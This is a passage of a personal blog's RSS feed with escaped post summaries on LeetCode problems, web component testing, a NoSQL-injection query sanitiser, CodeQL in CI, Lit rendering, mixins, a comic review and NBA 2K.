&lt;p&gt;Empower less-experienced engineers so that they&amp;rsquo;re confident tackling different
problems instead of me having to pick up said problems.&lt;/p&gt;
&lt;p&gt;Improve my investigation and writing skills so that I can give folks enough
context to execute on their own. Mostly communicating intent and trusting others
to figure out the nitty gritty details.&lt;/p&gt;</description></item><item><title>Wonder Woman Historia</title><link>https://www.curiosities.dev/fiction/wonder-woman-historia-2023/</link><pubDate>Sat, 05 Oct 2024 00:00:00 +0000</pubDate><guid>https://www.curiosities.dev/fiction/wonder-woman-historia-2023/</guid><description>&lt;style&gt;
 body {
 background-image: url('/img/fiction/wonder-woman-historia-2023.avif');
 }
&lt;/style&gt;


 

&lt;div class="citation" citation-icon-class='fas fa-fw fa-globe' cited-by-count='' is-main=''&gt;
 &lt;cite id='Historia'&gt;
 
 Wonder Woman Historia: The Amazons&lt;i&gt;.&lt;/i&gt;
 
 &lt;/cite&gt;
 Kelly Sue DeConnick; Phil Jimenez; Gene Ha; Nicola Scott.
 
 
 
 
 
 &lt;a href="https://www.dc.com/comics/wonder-woman-historia-the-amazons-2021/wonder-woman-historia-the-amazons-1" target="_blank" rel="noopener"&gt;
 &lt;img src="https://www.google.com/s2/favicons?domain=www.dc.com" loading="lazy" aria-hidden="true" width="16" height="16"&gt;
 &lt;i&gt;www.dc.com&lt;/i&gt; &lt;i class="fas fa-fw fa-external-link-alt" aria-hidden="true"&gt;&lt;/i&gt;
 &lt;/a&gt;.
 
 
 &lt;a href="https://wonder-woman.fandom.com/wiki/Historia:_The_Amazons" target="_blank" rel="noopener"&gt;
 &lt;img src="https://www.google.com/s2/favicons?domain=wonder-woman.fandom.com" loading="lazy" aria-hidden="true" width="16" height="16"&gt;
 &lt;i&gt;wonder-woman.fandom.com&lt;/i&gt; &lt;i class="fas fa-fw fa-external-link-alt" aria-hidden="true"&gt;&lt;/i&gt;
 &lt;/a&gt;.
 
 
 &lt;a href="https://www.hoopladigital.com/comic/wonder-woman-historia-the-amazons-kelly-sue-deconnick/15975230" target="_blank" rel="noopener"&gt;
 &lt;img src="https://www.google.com/s2/favicons?domain=www.hoopladigital.com" loading="lazy" aria-hidden="true" width="16" height="16"&gt;
 &lt;i&gt;www.hoopladigital.com&lt;/i&gt; &lt;i class="fas fa-fw fa-external-link-alt" aria-hidden="true"&gt;&lt;/i&gt;
 &lt;/a&gt;.
 
 
 
 
 
 &lt;i class='fas fa-fw fa-globe' aria-hidden="true"&gt;&lt;/i&gt;
 
 Accessed Oct 5, 2024.
 
 
 
 
 &lt;span class="fa fa-star filled-star"&gt;&lt;/span&gt;&lt;span class="fa fa-star filled-star"&gt;&lt;/span&gt;&lt;span class="fa fa-star filled-star"&gt;&lt;/span&gt;&lt;span class="fa fa-star filled-star"&gt;&lt;/span&gt;
 &lt;span class="fa fa-star"&gt;&lt;/span&gt;
 
&lt;/div&gt;

&lt;p&gt;The subjugations and abuses of not-men by men are too numerous to
catalog in a library&amp;hellip; let alone a book. &amp;ldquo;It&amp;rsquo;s just his nature,&amp;rdquo;
they say. We say nature may be brutal, but it is not sinister. But if it were in
his nature to dominate his sisters, t&amp;rsquo;would be an instinct garrisoned by
civility. For the institutions of men care not for the weal of
women. You don&amp;rsquo;t have to be Queen of Gods to recognize injustice. Can
you imagine what it would feel like to bear witness across millennia? &lt;span class="citation-ref"&gt;&lt;a href="#Amazons-01"&gt;&lt;/a&gt;&lt;/span&gt;&lt;/p&gt;</description></item><item><title>NBA 2K25: MyNBA</title><link>https://www.curiosities.dev/sports/nba2k-mynba/nba2k25-mynba/</link><pubDate>Sat, 31 Aug 2024 00:00:00 +0000</pubDate><guid>https://www.curiosities.dev/sports/nba2k-mynba/nba2k25-mynba/</guid><description>&lt;p&gt;MyNBA is my favorite playing mode in NBA 2K. Starting out as the GM of the
Seattle Supersonics in 1983, how well can I steer the franchise?&lt;/p&gt;
&lt;p&gt;Playing all 82 games per season would need \(82 \text{ games/season}
\times 41 \text{ seasons} \times 20 \text{ min/game} \approx 47 \text{
days}\) to catch up to today&amp;rsquo;s NBA and that&amp;rsquo;s not accounting for the
playoffs. Simulating games is the way to go; might help improve my understanding
of the game.&lt;/p&gt;</description></item><item><title>Minimum Penalty for a Shop</title><link>https://www.curiosities.dev/computer-science/programming-challenges/leet-code-and-others/strings-and-1d-arrays/minimum-penalty-for-a-shop/</link><pubDate>Sun, 21 Jul 2024 00:00:00 +0000</pubDate><guid>https://www.curiosities.dev/computer-science/programming-challenges/leet-code-and-others/strings-and-1d-arrays/minimum-penalty-for-a-shop/</guid><description>&lt;div class="citation" citation-icon-class='fas fa-fw fa-globe' cited-by-count='' is-main=''&gt;
 &lt;cite id='leetCode2483'&gt;
 
 Minimum Penalty for a Shop&lt;i&gt;.&lt;/i&gt;
 
 &lt;/cite&gt;
 
 
 
 
 
 
 &lt;a href="https://leetcode.com/problems/minimum-penalty-for-a-shop/description/" target="_blank" rel="noopener"&gt;
 &lt;img src="https://www.google.com/s2/favicons?domain=leetcode.com" loading="lazy" aria-hidden="true" width="16" height="16"&gt;
 &lt;i&gt;leetcode.com&lt;/i&gt; &lt;i class="fas fa-fw fa-external-link-alt" aria-hidden="true"&gt;&lt;/i&gt;
 &lt;/a&gt;.
 
 
 
 
 
 
 
 &lt;i class='fas fa-fw fa-globe' aria-hidden="true"&gt;&lt;/i&gt;
 
 Accessed Jul 21, 2024.
 
 
&lt;/div&gt;

&lt;h2 id="problem"&gt;Problem&lt;/h2&gt;
&lt;p&gt;You are given the customer visit log of a shop represented by a
zero-indexed string &lt;code&gt;customers&lt;/code&gt; consisting only of characters &lt;code&gt;N&lt;/code&gt; and
&lt;code&gt;Y&lt;/code&gt;. If the \(i^{th}\) character is &lt;code&gt;Y&lt;/code&gt;, it means that customers come
at the \(i^{th}\) hour, whereas &lt;code&gt;N&lt;/code&gt; indicates that no customers come
at the \(i^{th}\) hour.&lt;/p&gt;</description></item><item><title>Shortest Path in a Grid w/ Obstacles Elimination</title><link>https://www.curiosities.dev/computer-science/programming-challenges/leet-code-and-others/grids/shortest-path-in-grid-with-obstacles-elimination/</link><pubDate>Sun, 21 Jul 2024 00:00:00 +0000</pubDate><guid>https://www.curiosities.dev/computer-science/programming-challenges/leet-code-and-others/grids/shortest-path-in-grid-with-obstacles-elimination/</guid><description>&lt;div class="citation" citation-icon-class='fas fa-fw fa-globe' cited-by-count='' is-main=''&gt;
 &lt;cite id='leetCode1293'&gt;
 
 Shortest Path in a Grid with Obstacles Elimination - LeetCode&lt;i&gt;.&lt;/i&gt;
 
 &lt;/cite&gt;
 
 
 
 
 
 
 &lt;a href="https://leetcode.com/problems/shortest-path-in-a-grid-with-obstacles-elimination/" target="_blank" rel="noopener"&gt;
 &lt;img src="https://www.google.com/s2/favicons?domain=leetcode.com" loading="lazy" aria-hidden="true" width="16" height="16"&gt;
 &lt;i&gt;leetcode.com&lt;/i&gt; &lt;i class="fas fa-fw fa-external-link-alt" aria-hidden="true"&gt;&lt;/i&gt;
 &lt;/a&gt;.
 
 
 
 
 
 
 
 &lt;i class='fas fa-fw fa-globe' aria-hidden="true"&gt;&lt;/i&gt;
 
 Accessed Jul 21, 2024.
 
 
&lt;/div&gt;

&lt;h2 id="problem"&gt;Problem&lt;/h2&gt;
&lt;p&gt;You are given an \(m \times n\) &lt;code&gt;grid&lt;/code&gt; where each cell is either &lt;code&gt;0&lt;/code&gt;
(empty) or &lt;code&gt;1&lt;/code&gt; (obstacle). You can move up, down, left, or right from
and to an empty cell in one step.&lt;/p&gt;
&lt;p&gt;Return the minimum number of steps to walk from the upper left corner
\((0, 0)\) to the lower-right corner \((m-1, n-1)\) given that you
can eliminate at most \(k\) obstacles. If it is not possible to find
such a walk, return &lt;code&gt;-1&lt;/code&gt;.&lt;/p&gt;</description></item><item><title>Minimizing Bottom-Right Paths in a 2xN Grid</title><link>https://www.curiosities.dev/computer-science/programming-challenges/leet-code-and-others/grids/grid_game/</link><pubDate>Sat, 20 Jul 2024 00:00:00 +0000</pubDate><guid>https://www.curiosities.dev/computer-science/programming-challenges/leet-code-and-others/grids/grid_game/</guid><description>&lt;div class="citation" citation-icon-class='fas fa-fw fa-globe' cited-by-count='' is-main=''&gt;
 &lt;cite id='gridGame'&gt;
 
 Grid Game - LeetCode&lt;i&gt;.&lt;/i&gt;
 
 &lt;/cite&gt;
 
 
 
 
 
 
 &lt;a href="https://leetcode.com/problems/grid-game/description/" target="_blank" rel="noopener"&gt;
 &lt;img src="https://www.google.com/s2/favicons?domain=leetcode.com" loading="lazy" aria-hidden="true" width="16" height="16"&gt;
 &lt;i&gt;leetcode.com&lt;/i&gt; &lt;i class="fas fa-fw fa-external-link-alt" aria-hidden="true"&gt;&lt;/i&gt;
 &lt;/a&gt;.
 
 
 
 
 
 
 
 &lt;i class='fas fa-fw fa-globe' aria-hidden="true"&gt;&lt;/i&gt;
 
 Accessed Jul 20, 2024.
 
 
&lt;/div&gt;

&lt;h2 id="problem"&gt;Problem&lt;/h2&gt;
&lt;p&gt;You are given a 0-indexed 2D array &lt;code&gt;grid&lt;/code&gt; of size \(2 \times n\),
where &lt;code&gt;grid[r][c]&lt;/code&gt; represents the number of points at position \((r,
c)\) on the matrix. Two robots are playing a game on this matrix.&lt;/p&gt;
&lt;p&gt;Both robots initially start at \((0, 0)\) and want to reach \((1,
n-1)\). Each robot may only move to the right or down.&lt;/p&gt;</description></item><item><title>Queen's Movements on a Chessboard w/ Obstacles</title><link>https://www.curiosities.dev/computer-science/programming-challenges/leet-code-and-others/grids/queens_attack_ii/</link><pubDate>Sat, 20 Jul 2024 00:00:00 +0000</pubDate><guid>https://www.curiosities.dev/computer-science/programming-challenges/leet-code-and-others/grids/queens_attack_ii/</guid><description>&lt;div class="citation" citation-icon-class='fas fa-fw fa-globe' cited-by-count='' is-main=''&gt;
 &lt;cite id='hrQueensAttackII'&gt;
 
 Queen&amp;#39;s Attack II&lt;i&gt;.&lt;/i&gt;
 
 &lt;/cite&gt;
 
 
 
 
 
 
 &lt;a href="https://www.hackerrank.com/challenges/queens-attack-2/problem" target="_blank" rel="noopener"&gt;
 &lt;img src="https://www.google.com/s2/favicons?domain=www.hackerrank.com" loading="lazy" aria-hidden="true" width="16" height="16"&gt;
 &lt;i&gt;www.hackerrank.com&lt;/i&gt; &lt;i class="fas fa-fw fa-external-link-alt" aria-hidden="true"&gt;&lt;/i&gt;
 &lt;/a&gt;.
 
 
 
 
 
 
 
 &lt;i class='fas fa-fw fa-globe' aria-hidden="true"&gt;&lt;/i&gt;
 
 Accessed Jul 20, 2024.
 
 
&lt;/div&gt;

&lt;h2 id="problem"&gt;Problem&lt;/h2&gt;
&lt;p&gt;A queen is standing on an \(n \times n\) chess board. The chess
board&amp;rsquo;s rows are numbered from \(1\) to \(n\), going from bottom to
top. Its columns are numbered from \(1\) to \(n\), going from left
to right. Each square is referenced by a tuple \((r, c)\), describing
the row, \(r\), and column, \(c\), where the square is located.&lt;/p&gt;</description></item><item><title>Testing in a Monorepo</title><link>https://www.curiosities.dev/computer-science/programming-challenges/flashcards-app/testing/</link><pubDate>Sat, 22 Jun 2024 00:00:00 +0000</pubDate><guid>https://www.curiosities.dev/computer-science/programming-challenges/flashcards-app/testing/</guid><description>&lt;h2 id="testing-web-components"&gt;Testing Web Components&lt;/h2&gt;
&lt;p&gt;While any test framework can work, it&amp;rsquo;s better to test web components in
a browser environment because that&amp;rsquo;s where they&amp;rsquo;ll be used. Node-based
frameworks would require too much shimming of DOM calls that&amp;rsquo;d make the
tests unrepresentative. &lt;span class="citation-ref"&gt;&lt;a href="#WebTestRunner"&gt;&lt;/a&gt;&lt;/span&gt; and &lt;span class="citation-ref"&gt;&lt;a href="#WebDriverIO"&gt;&lt;/a&gt;&lt;/span&gt; are good options for browser-based testing. &lt;span class="citation-ref"&gt;&lt;a href="#testingLit"&gt;&lt;/a&gt;&lt;/span&gt;&lt;/p&gt;
&lt;p&gt;&lt;span class="citation-ref"&gt;&lt;a href="#WebTestRunner"&gt;&lt;/a&gt;&lt;/span&gt; is powered by ES-build, and so is the
client-side of the app; let&amp;rsquo;s go down this path and see where it leads.
CommonJS modules don&amp;rsquo;t work in the browser &lt;span class="citation-ref"&gt;&lt;a href="#esModulesWebDev"&gt;&lt;/a&gt;&lt;/span&gt;.

&lt;a href="https://www.curiosities.dev/computer-science/programming-challenges/flashcards-app/of-builds-and-bundlers/#es-modules-vs-commonjs"
 
 
 
 target="_blank" rel="noopener"
 &gt;
 Earlier on
 &lt;i class="fas fa-fw fa-external-link-alt" aria-hidden="true"&gt;&lt;/i&gt;
&lt;/a&gt;
, using ESM on the server turned out difficult. Hopefully, that
doesn&amp;rsquo;t me bite back now.&lt;/p&gt;</description></item><item><title>Database Layer</title><link>https://www.curiosities.dev/computer-science/programming-challenges/flashcards-app/database-layer/</link><pubDate>Sun, 16 Jun 2024 00:00:00 +0000</pubDate><guid>https://www.curiosities.dev/computer-science/programming-challenges/flashcards-app/database-layer/</guid><description>&lt;p&gt;Currently using MongoDB&amp;rsquo;s free tier, which has shared RAM, and up to 5GB
of storage &lt;span class="citation-ref"&gt;&lt;a href="#mongoDBPricing"&gt;&lt;/a&gt;&lt;/span&gt;. So far, the overall DB usage has
been less than 5MB.&lt;/p&gt;
&lt;h2 id="query-injection"&gt;Query Injection&lt;/h2&gt;
&lt;h3 id="current-state-of-affairs"&gt;Current State of Affairs&lt;/h3&gt;
&lt;p&gt;Currently have this protection implemented back in 2018:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#272822;background-color:#fafafa;-moz-tab-size:2;-o-tab-size:2;tab-size:2;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-ts" data-lang="ts"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#75715e"&gt;/**
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#75715e"&gt; * @description Prevent a NoSQL Injection in the search parameters. This is
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#75715e"&gt; * achieved by deleting all query values that begin with `$`.
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#75715e"&gt; */&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#00a8c8"&gt;export&lt;/span&gt; &lt;span style="color:#00a8c8"&gt;function&lt;/span&gt; &lt;span style="color:#75af00"&gt;sanitizeQuery&lt;/span&gt;&lt;span style="color:#111"&gt;(&lt;/span&gt;&lt;span style="color:#75af00"&gt;query&lt;/span&gt;: &lt;span style="color:#00a8c8"&gt;any&lt;/span&gt;&lt;span style="color:#111"&gt;)&lt;/span&gt; &lt;span style="color:#111"&gt;{&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#00a8c8"&gt;const&lt;/span&gt; &lt;span style="color:#75af00"&gt;keys&lt;/span&gt; &lt;span style="color:#f92672"&gt;=&lt;/span&gt; &lt;span style="color:#111"&gt;Object&lt;/span&gt;&lt;span style="color:#111"&gt;.&lt;/span&gt;&lt;span style="color:#75af00"&gt;keys&lt;/span&gt;&lt;span style="color:#111"&gt;(&lt;/span&gt;&lt;span style="color:#75af00"&gt;query&lt;/span&gt;&lt;span style="color:#111"&gt;);&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#00a8c8"&gt;for&lt;/span&gt; &lt;span style="color:#111"&gt;(&lt;/span&gt;&lt;span style="color:#00a8c8"&gt;let&lt;/span&gt; &lt;span style="color:#75af00"&gt;i&lt;/span&gt; &lt;span style="color:#f92672"&gt;=&lt;/span&gt; &lt;span style="color:#ae81ff"&gt;0&lt;/span&gt;&lt;span style="color:#111"&gt;;&lt;/span&gt; &lt;span style="color:#75af00"&gt;i&lt;/span&gt; &lt;span style="color:#f92672"&gt;&amp;lt;&lt;/span&gt; &lt;span style="color:#75af00"&gt;keys&lt;/span&gt;&lt;span style="color:#111"&gt;.&lt;/span&gt;&lt;span style="color:#75af00"&gt;length&lt;/span&gt;&lt;span style="color:#111"&gt;;&lt;/span&gt; &lt;span style="color:#75af00"&gt;i&lt;/span&gt;&lt;span style="color:#f92672"&gt;++&lt;/span&gt;&lt;span style="color:#111"&gt;)&lt;/span&gt; &lt;span style="color:#111"&gt;{&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#00a8c8"&gt;if&lt;/span&gt; &lt;span style="color:#111"&gt;(&lt;/span&gt;&lt;span style="color:#d88200"&gt;/^\$/&lt;/span&gt;&lt;span style="color:#111"&gt;.&lt;/span&gt;&lt;span style="color:#75af00"&gt;test&lt;/span&gt;&lt;span style="color:#111"&gt;(&lt;/span&gt;&lt;span style="color:#75af00"&gt;query&lt;/span&gt;&lt;span style="color:#111"&gt;[&lt;/span&gt;&lt;span style="color:#75af00"&gt;keys&lt;/span&gt;&lt;span style="color:#111"&gt;[&lt;/span&gt;&lt;span style="color:#75af00"&gt;i&lt;/span&gt;&lt;span style="color:#111"&gt;]]))&lt;/span&gt; &lt;span style="color:#111"&gt;{&lt;/span&gt; &lt;span style="color:#00a8c8"&gt;delete&lt;/span&gt; &lt;span style="color:#75af00"&gt;query&lt;/span&gt;&lt;span style="color:#111"&gt;[&lt;/span&gt;&lt;span style="color:#75af00"&gt;keys&lt;/span&gt;&lt;span style="color:#111"&gt;[&lt;/span&gt;&lt;span style="color:#75af00"&gt;i&lt;/span&gt;&lt;span style="color:#111"&gt;]];&lt;/span&gt; &lt;span style="color:#111"&gt;}&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#111"&gt;}&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#00a8c8"&gt;return&lt;/span&gt; &lt;span style="color:#75af00"&gt;query&lt;/span&gt;&lt;span style="color:#111"&gt;;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#111"&gt;}&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;&lt;span class="citation-ref"&gt;&lt;a href="#commit186da7c"&gt;&lt;/a&gt;&lt;/span&gt;&lt;/p&gt;</description></item><item><title>Continuous Integration Tooling</title><link>https://www.curiosities.dev/computer-science/programming-challenges/flashcards-app/ci-tooling/</link><pubDate>Sun, 09 Jun 2024 00:00:00 +0000</pubDate><guid>https://www.curiosities.dev/computer-science/programming-challenges/flashcards-app/ci-tooling/</guid><description>&lt;p&gt;What automatic tools can I add to keep code quality high?&lt;/p&gt;
&lt;h2 id="codeql"&gt;CodeQL&lt;/h2&gt;
&lt;p&gt;CodeQL is a tool that runs variant analysis on code. The idea is that we
create a query from a known vulnerability, e.g., SQL injection, and then
run it against a codebase to find instances of that vulnerability. &lt;span class="citation-ref"&gt;&lt;a href="#CodeQL"&gt;&lt;/a&gt;&lt;/span&gt; GitHub authorizes the use of CodeQL for public repos,
and so we are covered &lt;span class="citation-ref"&gt;&lt;a href="#CodeQLLicense"&gt;&lt;/a&gt;&lt;/span&gt;.

&lt;a href="https://github.com/dchege711/study_buddy/blob/main/ql-analysis.sh"
 
 
 
 target="_blank" rel="noopener"
 &gt;
 ql-analysis.sh
 &lt;i class="fas fa-fw fa-external-link-alt" aria-hidden="true"&gt;&lt;/i&gt;
&lt;/a&gt;

has a recipe for running the analysis locally in the repo. CodeQL also
runs on every PR, and blocks check-in if new vulnerabilities are
discovered.&lt;/p&gt;</description></item><item><title>Of Stale UI and Re-renders</title><link>https://www.curiosities.dev/computer-science/programming-challenges/flashcards-app/web-components/of-stale-ui-and-re-renders/</link><pubDate>Tue, 28 May 2024 00:00:00 +0000</pubDate><guid>https://www.curiosities.dev/computer-science/programming-challenges/flashcards-app/web-components/of-stale-ui-and-re-renders/</guid><description>&lt;p&gt;More than once, I&amp;rsquo;ve been surprised by a web component either showing
data that should no longer be there, or not showing data that should be
there. This page aims to reason through such cases for a better mental
model of web components.&lt;/p&gt;
&lt;h2 id="rendering-lists"&gt;Rendering Lists&lt;/h2&gt;
&lt;p&gt;Both &lt;code&gt;&amp;lt;search-bar&amp;gt;&lt;/code&gt; and &lt;code&gt;&amp;lt;search-results&amp;gt;&lt;/code&gt; need to render a collection
of N items. &lt;span class="citation-ref"&gt;&lt;a href="#listsLit"&gt;&lt;/a&gt;&lt;/span&gt; offers two options: looping, or using
the &lt;code&gt;repeat(items, keyFunction, itemTemplate)&lt;/code&gt; directive.&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#272822;background-color:#fafafa;-moz-tab-size:2;-o-tab-size:2;tab-size:2;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-ts" data-lang="ts"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#00a8c8"&gt;const&lt;/span&gt; &lt;span style="color:#75af00"&gt;cards&lt;/span&gt; &lt;span style="color:#f92672"&gt;=&lt;/span&gt; &lt;span style="color:#75af00"&gt;html&lt;/span&gt;&lt;span style="color:#d88200"&gt;`
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#d88200"&gt; &lt;/span&gt;&lt;span style="color:#d88200"&gt;${&lt;/span&gt;&lt;span style="color:#75af00"&gt;cards&lt;/span&gt;&lt;span style="color:#111"&gt;.&lt;/span&gt;&lt;span style="color:#75af00"&gt;map&lt;/span&gt;&lt;span style="color:#111"&gt;(&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#111"&gt;(&lt;/span&gt;&lt;span style="color:#75af00"&gt;card&lt;/span&gt;&lt;span style="color:#111"&gt;)&lt;/span&gt; &lt;span style="color:#f92672"&gt;=&amp;gt;&lt;/span&gt; &lt;span style="color:#75af00"&gt;html&lt;/span&gt;&lt;span style="color:#d88200"&gt;`&amp;lt;div&amp;gt;&amp;lt;input type=&amp;#34;checkbox&amp;#34;&amp;gt;&lt;/span&gt;&lt;span style="color:#d88200"&gt;${&lt;/span&gt;&lt;span style="color:#75af00"&gt;card&lt;/span&gt;&lt;span style="color:#111"&gt;.&lt;/span&gt;&lt;span style="color:#75af00"&gt;title&lt;/span&gt;&lt;span style="color:#d88200"&gt;}&lt;/span&gt;&lt;span style="color:#d88200"&gt;&amp;lt;/div&amp;gt;`&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#111"&gt;)&lt;/span&gt;&lt;span style="color:#d88200"&gt;}&lt;/span&gt;&lt;span style="color:#d88200"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#d88200"&gt;`&lt;/span&gt;&lt;span style="color:#111"&gt;;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#00a8c8"&gt;const&lt;/span&gt; &lt;span style="color:#75af00"&gt;template2&lt;/span&gt; &lt;span style="color:#f92672"&gt;=&lt;/span&gt; &lt;span style="color:#75af00"&gt;html&lt;/span&gt;&lt;span style="color:#d88200"&gt;`
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#d88200"&gt; &lt;/span&gt;&lt;span style="color:#d88200"&gt;${&lt;/span&gt;&lt;span style="color:#75af00"&gt;repeat&lt;/span&gt;&lt;span style="color:#111"&gt;(&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#75af00"&gt;cards&lt;/span&gt;&lt;span style="color:#111"&gt;,&lt;/span&gt; &lt;span style="color:#111"&gt;(&lt;/span&gt;&lt;span style="color:#75af00"&gt;card&lt;/span&gt;&lt;span style="color:#111"&gt;)&lt;/span&gt; &lt;span style="color:#f92672"&gt;=&amp;gt;&lt;/span&gt; &lt;span style="color:#75af00"&gt;card&lt;/span&gt;&lt;span style="color:#111"&gt;.&lt;/span&gt;&lt;span style="color:#75af00"&gt;id&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#111"&gt;(&lt;/span&gt;&lt;span style="color:#75af00"&gt;card&lt;/span&gt;&lt;span style="color:#111"&gt;)&lt;/span&gt; &lt;span style="color:#f92672"&gt;=&amp;gt;&lt;/span&gt; &lt;span style="color:#75af00"&gt;html&lt;/span&gt;&lt;span style="color:#d88200"&gt;`&amp;lt;div&amp;gt;&amp;lt;input type=&amp;#34;checkbox&amp;#34;&amp;gt;&lt;/span&gt;&lt;span style="color:#d88200"&gt;${&lt;/span&gt;&lt;span style="color:#75af00"&gt;card&lt;/span&gt;&lt;span style="color:#111"&gt;.&lt;/span&gt;&lt;span style="color:#75af00"&gt;id&lt;/span&gt;&lt;span style="color:#d88200"&gt;}&lt;/span&gt;&lt;span style="color:#d88200"&gt;&amp;lt;/div&amp;gt;`&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#111"&gt;)&lt;/span&gt;&lt;span style="color:#d88200"&gt;}&lt;/span&gt;&lt;span style="color:#d88200"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#d88200"&gt;`&lt;/span&gt;&lt;span style="color:#111"&gt;;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;When performing updates, &lt;code&gt;repeat&lt;/code&gt; moves DOM nodes, while &lt;code&gt;map&lt;/code&gt; reuses
DOM nodes. This is also beneficial when there is some part of the node
that isn&amp;rsquo;t controlled by a template expression because &lt;code&gt;repeat&lt;/code&gt; will
keep that state, e.g, in the example above, the &lt;code&gt;checked&lt;/code&gt; property. If
none of these apply, then &lt;code&gt;map&lt;/code&gt; or loops can be used over &lt;code&gt;repeat&lt;/code&gt;. &lt;span class="citation-ref"&gt;&lt;a href="#listsLit"&gt;&lt;/a&gt;&lt;/span&gt;&lt;/p&gt;</description></item><item><title>Inheritance</title><link>https://www.curiosities.dev/computer-science/programming-challenges/language-concepts/type-systems/user-defined-types/inheritance/</link><pubDate>Sun, 05 May 2024 00:00:00 +0000</pubDate><guid>https://www.curiosities.dev/computer-science/programming-challenges/language-concepts/type-systems/user-defined-types/inheritance/</guid><description>&lt;h2 id="mixins"&gt;Mixins&lt;/h2&gt;



&lt;div class="comment-holder"&gt;
 &lt;div class="comment" title="Comment: tangential aside"&gt;&lt;p&gt;Introduced to mixins by &lt;span class="citation-ref"&gt;&lt;a href="#mixinsLit"&gt;&lt;/a&gt;&lt;/span&gt;. Didn&amp;rsquo;t know that there
are passionate advocates for this, e.g., &lt;span class="citation-ref"&gt;&lt;a href="#fagnani2015"&gt;&lt;/a&gt;&lt;/span&gt;&amp;rsquo;s &amp;ldquo;You
can even look at normal subclass inheritance as a degenerate form of
mixin inheritance where the superclass is known at class definition
time, and there&amp;rsquo;s only one application of it.&amp;rdquo;&lt;/p&gt;
&lt;/div&gt;
&lt;/div&gt;


&lt;p&gt;A mix-in is an abstract subclass. This technique is especially useful in
languages where a class can only have a single superclass.&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#272822;background-color:#fafafa;-moz-tab-size:2;-o-tab-size:2;tab-size:2;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-js" data-lang="js"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#00a8c8"&gt;const&lt;/span&gt; &lt;span style="color:#75af00"&gt;calculatorMixin&lt;/span&gt; &lt;span style="color:#f92672"&gt;=&lt;/span&gt; &lt;span style="color:#111"&gt;(&lt;/span&gt;&lt;span style="color:#75af00"&gt;Base&lt;/span&gt;&lt;span style="color:#111"&gt;)&lt;/span&gt; &lt;span style="color:#111"&gt;=&amp;gt;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#00a8c8"&gt;class&lt;/span&gt; &lt;span style="color:#00a8c8"&gt;extends&lt;/span&gt; &lt;span style="color:#75af00"&gt;Base&lt;/span&gt; &lt;span style="color:#111"&gt;{&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#75af00"&gt;calc&lt;/span&gt;&lt;span style="color:#111"&gt;()&lt;/span&gt; &lt;span style="color:#111"&gt;{}&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#111"&gt;};&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
